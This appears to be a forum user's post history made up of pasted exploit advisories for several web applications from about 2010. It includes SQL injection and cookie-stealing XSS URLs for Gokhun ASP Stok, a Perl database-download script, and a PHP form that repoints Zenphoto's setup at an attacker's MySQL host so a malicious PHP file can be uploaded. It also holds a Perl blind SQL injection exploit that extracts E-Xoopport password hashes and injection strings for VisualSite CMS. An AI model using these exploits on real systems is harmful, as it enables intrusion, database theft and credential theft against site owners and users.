Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
============================================
Gokhun ASP Stok v1.0 - Multiple Remote Vulnerabilities
============================================
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[+] Greatz : DaiMon
[~] Contact : knockoutr@msn.com
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~Script : Gokhun ASP Stok v1.0
~Software: http://www.gokhun.com & http://www.aspindir.com/goster/6092
~Vulnerability Style : Multiple vulnerabilities
~Demo : http://www.site.com/asp/pages/main/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~~~~~~ Explotation ~~~~~~~~~~~
======== SQL Injection =========
http://[Victim]/?eylemD=urunler&olayD=&islemD=duzenle&kimlikD=1+union+select+0,1,name,ctelephone,4,5,6+from+customers+where+Kimlik=2
==================================
======= Cross Site Scripting =====
http://[Victim]/?eylemD=hizmetlerimiz&olayD=digerhizmetlerimiz%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
==============================
Remote Database DisClosure Exploit
==========================
#!/usr/bin/perl -w
#
# Gokhun ASP Stok v1.0 -> Remote Database Disclosure Exploit
# Coded: KnocKout
# Date: 26.09.2010
# Thanks: DaiMon, BARCOD3
#
use LWP::Simple;
use LWP::UserAgent;
system('cls');
system('title Vural Portal 2010 Remote Database Disclosure Exploit');
system('color 4');
if(@ARGV < 2)
{
print "[-]Ornegi inceleyin\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}
print "\n************************************************************************\n";
print "\* Gokhun ASP Stok v1.0 -> Remote Database Disclosure Exploit *\n";
print "\* Exploited By : KnocKout *\n";
print "\* msn : knockoutr[at]msn[dot]com *\n";
print "\* Special Thankz : DaiMon *\n";
print "\*********************************************************************\n\n\n";
($TargetIP, $path, $File,) = @ARGV;
$File="database/yb.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n wait!!! \n\n";
my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "C:/db.mdb");
if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to C:/db.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}
<?php
/*
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-26-zenphoto-config-update-and-command-execute-vulnerability/
Abysssec Inc Public Advisory
Title : Zenphoto Config Update and Command Execute Vulnerability
Affected Version : Zenphoto <= 1.3
Discovery : www.abysssec.com
Vendor : http://www.zenphoto.org
*/
$path = "http://www.site.com/zenphoto" ."/" . "zp-core/setup.php";
$new_mysql_user = "abysssec";
$new_mysql_pass = "absssec";
$new_mysql_host = "abysssec.com";
$new_mysql_database = "abysssec_database";
$new_mysql_prefix = "zp_";
echo "<html><head></head>
<style>
body {font-family:tahoma;font-size:14px}
</style>
<body>";
echo "Zen Photo Image Gallery 1.3 Reset admin Password <br>
By : Abysssec @ Inc <br>www.Abysssec.com<hr>
<form method='POST' action='$path' >
<input type=hidden name='mysql' value='yes'>
<input type=hidden name='mysql_user' value='$new_mysql_user'>
<input type=hidden name='mysql_pass' value='$new_mysql_pass'>
<input type=hidden name='mysql_host' value='$new_mysql_host'>
<input type=hidden name='mysql_database' value='$new_mysql_database'>
<input type=hidden name='mysql_prefix' value='$new_mysql_prefix'>
After click on below , if target will can connect to your Mysql_Host :<br>
You Must view 'GO !' Messege ...<br>
Click on & wait ....
<br> Then , You need to set your admin user and password.<br><hr>
Upload file:<br>
you can Edit themes From themes Tab and Upload your malignant PHP file.<br>
<input type=submit value='Send Your Setting '>
</form>
";
echo "</body></html>";
?>
#!/usr/bin/perl
# [0-Day] E-Xoopport - Samsara <= v3.1 (eCal module) Remote Blind SQL Injection Exploit
# Author/s: _mRkZ_, WaRWolFz Crew
# Created: 2010.09.12 after 0 days the bug was discovered.
# Greetings To: Dante90, Shaddy, StutM, WaRWolFz Crew
# Web Site: www.warwolfz.org
use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;
$^O eq 'MSWin32' ? system('cls') : system('clear');
print "
E-Xoopport - Samsara <= v3.1 (eCal Module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport |
| Affected versions: 3.1 |
| Bug: Remote Blind SQL Injection (eCal module) |
| Author/s: _mRkZ_, WaRWolFz Crew |
| Greetz: Dante90, Shaddy, StutM, WarWolFz Crew |
| Web Site: www.warwolfz.org |
+---------------------------------------------------+
| Warn: You must be able to access to 'eCal' Module |
+---------------------------------------------------+
\r\n";
if (@ARGV != 4) {
print "\r\nUsage: perl expolit_name.pl <VictimeHost> <YourNick> <YourPass> <NickToHack>\r\n";
exit;
}
my $host = $ARGV[0];
my $usr = $ARGV[1];
my $pwd = $ARGV[2];
my $anickde = $ARGV[3];
my $anick = '0x'.EncHex($anickde);
print "[!] Logging In...\r\n";
my %postdata = (
uname => "$usr",
pass => "$pwd",
op => "login"
);
my $cookies = HTTP::Cookies->new(
autosave => 1,
);
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
$ua->cookie_jar($cookies);
my $req = (POST $host."/user.php", \%postdata);
my $request = $ua->request($req);
my $content = $request->content;
if ($content =~ /<h4>Benvenuto su/i) {
print "[+] Logged in!\r\n";
} else {
print "[-] Fatal Error: username/password incorrect?\r\n";
exit;
}
print "[!] Checking permissions...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
$req = $host."/modules/eCal/location.php?lid=1+AND+1=1";
$ua->cookie_jar($cookies);
$request = $ua->get($req);
$content = $request->content;
if ($content !~ /<b>Eventi nella località: <\/b>/ig) {
print "[+] Fatal Error: Access denied\r\n";
exit;
} else {
print "[+] You have permissions\r\n";
}
print "[!] Exploiting...\r\n";
my $i = 1;
my $pwdchr;
while ($i != 33) {
my $wn = 47;
while (1) {
$wn++;
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
my $req = $host."/modules/eCal/location.php?lid=1+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),$i,1))=$wn";
$ua->cookie_jar($cookies);
my $request = $ua->get($req);
my $content = $request->content;
open LOGZZ, '>lol.html';
print LOGZZ $content;
close LOGZZ;
if ($content !~ /<b>Eventi nella località: <\/b><a href='localleve\.php\?lid='>/ig) {
my $cnt = $1;
$pwdchr .= chr($wn);
$^O eq 'MSWin32' ? system('cls') : system('clear');
PrintChars($anickde, $pwdchr);
last;
}
}
$i++;
}
print "\r\n[!] Exploiting completed!\r\n\r\n";
print "Visit: www.warwolfz.org\r\n\r\n";
sub PrintChars {
my $anick1 = $_[0];
my $chars = $_[1];
print "
E-Xoopport - Samsara <= v3.1 (eCal module) Remote Blind SQL Injection Exploit
+---------------------------------------------------+
| Script: E-Xoopport |
| Affected versions: 3.1 |
| Bug: Remote Blind SQL Injection (eCal module) |
| Author/s: _mRkZ_, WaRWolFz Crew |
| Greetz: Dante90, Shaddy, StutM, WarWolFz Crew |
| Web Site: www.warwolfz.org |
+---------------------------------------------------+
| Warn: You must be able to access to 'eCal' Module |
+---------------------------------------------------+
[!] Logging In...
[+] Logged in!
[!] Checking permissions...
[+] You have permissions
[!] Exploiting...
[+] ".$anick1."'s md5 Password: ".$chars."
";
}
sub EncHex {
my $char = $_[0];
chomp $char;
my @trans = unpack("H*", "$char");
return $trans[0];
}
#[Unit-X] Vuln-X DB 2010.09.21
'''
__ __ ____ _ _ ____
| \/ |/ __ \ /\ | | | | _ \
| \ / | | | | / \ | | | | |_) |
| |\/| | | | |/ /\ \| | | | _ <
| | | | |__| / ____ \ |__| | |_) |
|_| |_|\____/_/ \_\____/|____/
http://www.exploit-db.com/moaub-25-visualsite-cms-multiple-vulnerabilities/
'''
Abysssec Inc Public Advisory
Title : VisualSite CMS Multiple Vulnerabilities
Affected Version : VisualSite 1.3
Discovery : www.abysssec.com
Download Links : http://sourceforge.net/projects/visualsite/
Login Page : http://Example.com/Admin/Default.aspx
Description :
===========================================================================================
This version of Visual Site CMS have Multiple Valnerabilities :
1- Logical Bug for Lock Admin's Login
2- Persistent XSS in admin section
Logical Bug for Lock Admin's Login:
===========================================================================================
If you enter this values in Login Page (http://Example.com/Admin/Default.aspx)
three times during five minutes , the Admin's login will be locked:
Username : 1' or '1'='1
Password : foo
Vulnerable Code is in this file:
../App_Code/VisualSite/DAL.cs
Ln 378:
public static User GetUser(string username)
{
User result = null;
DataTable matches = ExecuteRowset(String.Format("SELECT [ID], [Username], [Password], [LockedDate] FROM [User] WHERE [Username] = '{0}'", Sanitise(username)));
if (matches != null && matches.Rows.Count > 0)
{
...
}
return result;
}
Persistent XSS in admin section:
===========================================================================================
In Edit Section which is accessible to Admin, it is possible to enter a script in Description field
that only executed in the following path and never executed in other situations:
http://Example.com/SearchResults.aspx?q={}
===========================================================================================